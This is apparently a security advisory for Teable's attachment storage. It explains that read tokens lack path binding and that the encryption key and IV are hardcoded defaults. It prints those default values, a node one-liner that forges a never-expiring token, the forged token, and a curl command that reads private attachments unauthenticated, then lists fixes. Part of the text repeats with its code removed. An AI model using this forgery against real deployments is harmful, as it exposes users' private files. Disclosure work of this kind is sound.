Summary
Teable's local storage attachment tokens (/api/attachments/read/:path(*)) contain only {expiresDate, respHeaders} — no file path, no bucket, no user binding. A token issued for file A grants access to any file B in the storage directory.
The encryption key defaults to a hardcoded value (73b00476e456323e, IV 8c9183e4c175f63c, AES-128-CBC). Self-hosted instances that don't override BACKEND_STORAGE_ENCRYPTION_KEY allow unauthenticated token forgery.
Root Cause
// Token payload — no path field
interface ITokenEncryptor {
expiresDate: number;
respHeaders?: IRespHeaders;
}
// Verification — only checks expiry, not requested path
verifyReadToken(token: string) {
const { expiresDate, respHeaders } = this.expireTokenEncryptor.decrypt(token);
if (expiresDate > 0 && Math.floor(Date.now() / 1000) > expiresDate) throw ...;
return { respHeaders };
}
Exploit
# Forge a never-expiring token with the default key:
node -e "
const crypto = require('crypto');
const c = crypto.createCipheriv('aes-128-cbc','73b00476e456323e','8c9183e4c175f63c');
process.stdout.write(c.update(JSON.stringify({expiresDate:-1}),'utf-8','hex')+c.final('hex'));
"
# → fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742
# Read any private attachment without authentication:
curl 'http://<host>:3000/api/attachments/read/private/table/<file-token>?token=fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742'
Reproduction (docker-compose)
docker compose up -d # starts teable with default .env (no BACKEND_STORAGE_ENCRYPTION_KEY)
bash exploit.sh # signup → upload private file → read it back with forged token, zero auth
Output:

Impact
- Token forgery (unauthed, default-key deployments): full unauthenticated read of all stored private attachments
- Token reuse (authed attacker): any valid token reads any other user's private attachments — token has no path binding
Fix
- Bind the token payload to the specific file path: include
bucket + path in ITokenEncryptor and verify them on read
- Remove the hardcoded default key — require explicit configuration or generate a random key on first boot
Summary
Teable's local storage attachment tokens (
/api/attachments/read/:path(*)) contain only{expiresDate, respHeaders}— no file path, no bucket, no user binding. A token issued for file A grants access to any file B in the storage directory.The encryption key defaults to a hardcoded value (
73b00476e456323e, IV8c9183e4c175f63c, AES-128-CBC). Self-hosted instances that don't overrideBACKEND_STORAGE_ENCRYPTION_KEYallow unauthenticated token forgery.Root Cause
Exploit
Reproduction (docker-compose)
Output:

Impact
Fix
bucket+pathinITokenEncryptorand verify them on read